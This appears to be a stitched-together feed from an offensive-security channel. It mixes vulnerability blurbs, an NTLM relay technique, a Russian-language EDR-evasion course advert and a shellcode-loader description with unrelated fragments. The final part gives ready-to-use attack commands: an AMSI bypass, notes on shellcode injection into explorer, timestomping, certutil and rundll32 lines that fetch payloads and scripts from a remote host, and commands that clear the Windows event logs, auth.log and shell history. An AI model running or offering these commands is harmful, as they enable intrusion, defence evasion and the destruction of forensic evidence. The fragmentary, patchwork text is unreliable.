reconcore

Open to anyone wishing to join the channel group via the link

This technique is especially impactful when escalation isn’t possible to bind to port 445/TCP for SMB relays or firewall rules are preventing a WebDAV relay when operating from C2. It involves coercing either SMB or WebDAV authentication outbound, catching the authentication using a cloud host on the internet, and relaying the traffic back through red team infrastructure into the target environment.

Earlier this year, I found an integer overflow in tcpip.sys, Windows' network driver. It was fixed in the July 2026 security update and is now CVE-2026-58532.

I independently discovered and reported the vulnerability now tracked as CVE-2026-50343. MSRC confirmed my submission as a duplicate of an earlier report from another researcher. A standard interactive user can write attacker-controlled plugin state underHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State. The Microsoft Store Install Service runs as NT AUTHORITY\SYSTEM, reads PlugInList and StaticPluginMap, and loads the mapped DLL after a publicAppInstallManager.SearchForAllUpdatesAsync() trigger. The result is local standard-user to SYSTEM code execution.

This is a Linux kernel vulnerability found by VEGA that exists in every major distribution since 2011. Triggering the bug does not require any special kernel config or privilege. By turning it into a 97% stable privilege escalation and container escape, Google has rewarded us $92,337 in kernelCTF. This writeup covers the technical details of the exploit.

CVE-2022-25477, CVE-2022-25478, CVE-2022-25479, CVE-2022-25480, CVE-2024-40431, CVE-2024-40432, CVE-2024-25476

The PoC requires another standard user credentials and a third username (which can be an administrator account), if the PoC is successful, it will end up mounting the target user hive in current user classes root. The PoC was stripped down as an attempt to prevent public exploitation, the original PoC did not require additional user credential and was not limited to usrclass.dat hive, any hive could be loaded using this vulnerability but you would need some brain cells to make the PoC do it.

COM Hijack for CLSID {9FC8E510-A27C-4B3B-B9A3-BF65F00256A8} (chrome and msedge)

Original text: “Forgotten UEFI shims undermining Secure Boot” — Martin Smolár, ESET Research (July 14, 2026). Figures, code blocks, and technical diagrams below are reproduced verbatim with attribution captions.

ESET researchers identified 11 old and forgotten UEFI shim bootloaders at versions 0.9 and below that can be used to bypass UEFI Secure Boot…

Original text: “Two Bytes to RCE: Chaining Rift + PoolSlip” — y198, Verichains (Jun 06, 2026). Code, tables and figures below are reproduced verbatim with attribution captions. PoC: github.com/y198nt/Nginx-chain-Rift-Poolslip.

A two-bug chain in nginx 1.30.0 achieves unauthenticated remote code execution without relying on ASLR breaks. The first bug, CVE-2026-42945 (“Rift”), is a forward…

Курс предназначен для специалистов по информационной безопасности с опытом, даст необходимым знания для обхода защиты в современных корпоративных средах. Этот курс углубляется в методы и методологии, используемые для обхода контрмер конечных точек, таких как EDR. Вы получите полное понимание внутренних устройств Windows, включая различие между компонентами пользовательского режима и режима ядра, а также получите полное представление о внутренних элементах EDR и о том, как собираются телеметрии, узнаете о Windows Internals, обращая вспять EDR, минуя Microsoft Defender для Endpoint (MDE), Elastic EDR, используя ядра Sysmon для уклонения от защиты и обходя контроль безопасности, такие как защищенные процессы (PP), Process Protection Light (PPL), Digital Signature Enforcement (DSE), правила снижения поверхности атаки (ASR) и недееспособные.

This loader implements a code injection technique that leverages the Windows Process Parameters structure (PEB) as a staging and execution location for remote shellcode injection.

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

$proc = Get-Process -Name "explorer"
# Дальше через WriteProcessMemory и CreateRemoteThread
# внедряем shellcode в легитимный процесс

# Linux
touch -r /bin/ls malicious_file
stat malicious_file

# Windows через PowerShell
(Get-Item file.exe).CreationTime = "01/15/2020 10:00:00"

# Скачивание файла через certutil вместо curl
certutil -urlcache -split -f http://10.0.0.1/payload.exe payload.exe

# Выполнение через rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.0.0.1/script.sct")

wevtutil cl Security
wevtutil cl System
# Linux
> /var/log/auth.log
history -c